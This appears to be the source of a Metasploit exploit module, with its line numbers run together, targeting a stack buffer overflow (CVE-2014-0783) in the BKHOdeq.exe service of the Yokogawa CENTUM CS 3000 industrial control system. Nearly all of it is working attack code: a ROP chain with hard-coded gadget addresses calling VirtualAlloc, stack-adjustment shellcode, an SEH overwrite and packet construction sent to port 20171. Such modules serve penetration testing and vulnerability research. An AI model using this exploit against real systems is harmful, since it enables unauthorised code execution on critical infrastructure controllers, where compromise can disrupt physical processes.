Path: blob/master/modules/exploits/windows/scada/yokogawa_bkhodeq_bof.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Yokogawa CENTUM CS 3000 BKHOdeq.exe Buffer Overflow',16'Description' => %q{17This module exploits a stack based buffer overflow in Yokogawa CENTUM CS 3000. The vulnerability18exists in the service BKHOdeq.exe when handling specially crafted packets. This module has19been tested successfully on Yokogawa CENTUM CS 3000 R3.08.50 over Windows XP SP3 and Windows202003 SP2.21},22'Author' => [23'juan vazquez',24'Redsadic <julian.vilas[at]gmail.com>'25],26'References' => [27[ 'URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0001E.pdf' ],28[ 'URL', 'https://www.rapid7.com/blog/post/2014/03/10/yokogawa-centum-cs3000-vulnerabilities' ],29[ 'CVE', '2014-0783']30],31'Payload' => {32'Space' => 6000,33'DisableNops' => true,34'BadChars' => ":\r\n"35},36'Platform' => 'win',37'Targets' => [38[39'Yokogawa CENTUM CS 3000 R3.08.50 / Windows [ XP SP3 / 2003 SP2 ]',40{41'Ret' => 0x0042068e, # stackpivot from 2488 BKHOdeq.exe # ADD ESP,9B8 # RETN42'Offset' => 8660,43'StackPivotAdjustment' => 10844}45]46],47'DefaultOptions' => {48'EXITFUNC' => 'thread',49'WfsDelay' => 1050},51'DisclosureDate' => '2014-03-10',52'DefaultTarget' => 0,53'Notes' => {54'Reliability' => UNKNOWN_RELIABILITY,55'Stability' => UNKNOWN_STABILITY,56'SideEffects' => UNKNOWN_SIDE_EFFECTS57}58)59)6061register_options(62[63# Required for EIP offset64Opt::RPORT(20171)65]66)67end6869def check70# It forces an huge allocation, which should fail,71# and return back an error answer from the server72# while parsing the packet header.73pkt = build_pkt(0xffffffff)74res = send_pkt(pkt)75if valid_response?(res)76return Exploit::CheckCode::Detected77end7879Exploit::CheckCode::Safe80end8182def exploit83my_payload = payload.encoded84rop_chain = create_rop_chain8586data = rand_text(target['StackPivotAdjustment'])87data << rop_chain88data << stack_adjust89data << my_payload90data << rand_text(target['Offset'] - data.length)91data << generate_seh_record(target.ret)9293pkt = build_pkt(data.length, data)9495print_status("Trying target #{target.name}, sending #{pkt.length} bytes...")96connect97sock.put(pkt)98disconnect99end100101def build_pkt(data_length, data = "")102header = rand_text(4) # iMark103header << [data_length].pack("N") # Data length104header << rand_text(4) # NumSet105header << rand_text(2) # req106header << rand_text(2) # Unknown107108pkt = header + data109110pkt111end112113def send_pkt(data)114connect115sock.put(data)116res = sock.get_once117disconnect118119res120end121122def valid_response?(data)123return false unless data124return false unless data.length == 4125return false unless result_code(data) == 0126127true128end129130def result_code(data)131data.unpack("N").first132end133134def stack_adjust135adjust = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb136adjust << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit137adjust << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit138adjust << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset139140adjust141end142143def create_rop_chain144# rop chain generated with mona.py - www.corelan.be145rop_gadgets =146[1470x63b27a60, # RET # padding on XP SP31480x63b27a60, # RET # padding on XP SP31490x63b27a5f, # POP EAX # RETN [libbkhMsg.dll]1500x61e761e0, # ptr to &VirtualAlloc() [IAT LibBKCCommon.dll]1510x61e641e4, # MOV EAX,DWORD PTR DS:[EAX] # RETN [LibBKCCommon.dll]1520x00405522, # PUSH EAX # TEST EAX,C0330042 # POP ESI # ADD ESP,6D8 # RETN [BKHOdeq.exe]153].flatten.pack("V*")154rop_gadgets << rand_text(1752) # Padding because of the "ADD ESP,6D8" instr155rop_gadgets << [1560x61e62aa4, # POP EBP # RETN [LibBKCCommon.dll]1570x61e648c0, # & push esp # ret [LibBKCCommon.dll]1580x66f3243f, # POP EBX # RETN [libBKBEqrp.dll]1590x00000001, # 0x00000001-> ebx1600x61e729dd, # POP EDX # MOV EAX,5E5FFFFF # RETN [LibBKCCommon.dll]1610x00001000, # 0x00001000-> edx1620x63a93f6f, # POP ECX # RETN [libbkhopx.dll]1630x00000040, # 0x00000040-> ecx1640x63ad1f6a, # POP EDI # RETN [libbkhOdeq.dll]1650x63dd3812, # RETN (ROP NOP) [libbkhCsSrch.dll]1660x61e60b4c, # POP EAX # RETN [LibBKCCommon.dll]1670x90909090, # nop1680x63ae5cc3, # PUSHAD # RETN [libbkhOdbh.dll]169].flatten.pack("V*")170171rop_gadgets172end173end174175176